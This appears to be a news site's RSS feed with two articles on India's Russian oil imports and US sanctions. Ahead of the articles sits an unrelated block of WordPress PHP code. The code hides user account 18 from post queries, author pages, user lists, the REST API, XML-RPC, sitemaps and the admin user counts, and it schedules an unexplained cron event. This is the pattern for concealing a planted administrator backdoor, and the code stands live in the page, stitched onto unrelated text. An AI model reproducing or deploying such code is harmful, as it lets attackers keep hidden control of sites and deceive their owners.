add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India Reaffirms Energy Security Priority Amid Claims on Russian Oil Purchases appeared first on The Edge Media.
]]>Addressing a press conference in New Delhi, MEA spokesperson Randhir Jaiswal said India’s energy decisions are firmly guided by national interest, particularly the need to ensure reliable and affordable energy for its population of 1.4 billion.
Jaiswal said the government has repeatedly stated that energy security is a supreme priority and added that India’s strategy focuses on diversifying its energy sources in line with objective market conditions and changing international realities. He emphasised that all decisions related to energy sourcing are taken with this principle in mind.
Trump made the remarks following the announcement of a bilateral trade agreement between India and the United States. In a social media post, he claimed that India had agreed to stop buying Russian oil and would instead increase purchases from the US and potentially Venezuela, linking the move to efforts to end the Russia Ukraine conflict.
While Prime Minister Narendra Modi later confirmed the trade agreement, no official statement was issued by the Indian government regarding any decision to discontinue Russian oil imports.
Responding to questions on Venezuela, Jaiswal said India remains open to sourcing oil from any country based on commercial viability. He noted that India has a long standing partnership with Venezuela and would continue to make energy decisions guided by economic considerations.
The India US trade agreement was announced earlier this week, with tariffs on Indian goods reportedly reduced from 50 per cent to 18 per cent. Union Commerce Minister Piyush Goyal said the final agreement is in its concluding stages, a view echoed by US Trade Representative Jamieson Greer, who said the deal was still being finalised. A joint statement detailing the agreement is expected soon.
Russia also reacted to the developments, with Russian Foreign Ministry spokesperson Maria Vladimirovna Zakharova saying there was no indication that India would reconsider its energy cooperation with Moscow. She said the trade in energy resources benefits both countries and contributes to stability in global energy markets.
Kremlin spokesperson Dmitry Peskov said India has always sourced oil from multiple suppliers and that Russia is not the country’s sole energy partner, adding that there was nothing unusual in India’s diversified procurement approach.
Separately, Goyal reiterated the government’s position, once again stressing that energy security for 1.4 billion Indians remains paramount and that diversification based on market conditions and evolving global dynamics is central to India’s energy strategy.
The remarks come as External Affairs Minister S Jaishankar visits the United States to attend the Critical Minerals Ministerial hosted by US Secretary of State Marco Rubio. Jaishankar said his meetings included an extensive review of bilateral cooperation, along with discussions on the Indo Pacific, West Asia, Gaza and the Ukraine conflict.
At the Critical Minerals meeting, the External Affairs Minister also expressed India’s support for the FORGE initiative, aimed at strengthening resource security and geostrategic engagement.
The post India Reaffirms Energy Security Priority Amid Claims on Russian Oil Purchases appeared first on The Edge Media.
]]>The post India to Cut Russian Oil Imports After New US Sanctions appeared first on The Edge Media.
]]>
Major Refiners to Follow Sanction Rules
Several Indian refiners responsible for more than half of the nation’s Russian crude imports are preparing to comply with the new sanctions targeting Moscow’s top oil exporters. These refineries process the crude into fuels such as petrol and diesel. Analysts believe this compliance will lead to a temporary fall in Russian oil arrivals starting December.
Decline Expected in December, Gradual Recovery by 2026
Maritime intelligence firm Kpler reported that Russian crude shipments to India will see a steep drop in December 2025. However, a slow recovery is expected in early 2026 as intermediaries and alternative trade routes develop. Reliance Industries Ltd, one of India’s largest importers with long-term contracts with Rosneft, plans to stop receiving Russian oil. Two state-run refiners have also confirmed suspension of imports.
Key Refiners Suspend Russian Crude Imports
Mangalore Refinery and Petrochemicals Ltd and HPCL-Mittal Energy Ltd—a joint venture between Hindustan Petroleum Corporation Ltd and Mittal Energy—have both decided to halt future Russian oil purchases. Together with Reliance Industries, these companies made up over half of the 1.8 million barrels of Russian crude imported by India in the first half of 2025.
Some Imports to Continue Through Limited Channels
Nayara Energy’s Vadinar refinery, partially owned by Rosneft and already under European Union sanctions, is expected to continue processing Russian crude. According to Sumit Ritolia, Lead Research Analyst at Kpler, Russia was India’s largest oil supplier in October, followed by Iraq and Saudi Arabia. Before the sanctions, Russian exports to India averaged between 1.6 and 1.8 million barrels per day.
Complex Trade Routes Ahead
After October 21, refiners began cutting imports to avoid risks related to the US Office of Foreign Assets Control (OFAC) regulations. Experts predict that Russian oil will not vanish from India’s market but will move through more complex and indirect logistics systems in the future.
The post India to Cut Russian Oil Imports After New US Sanctions appeared first on The Edge Media.
]]>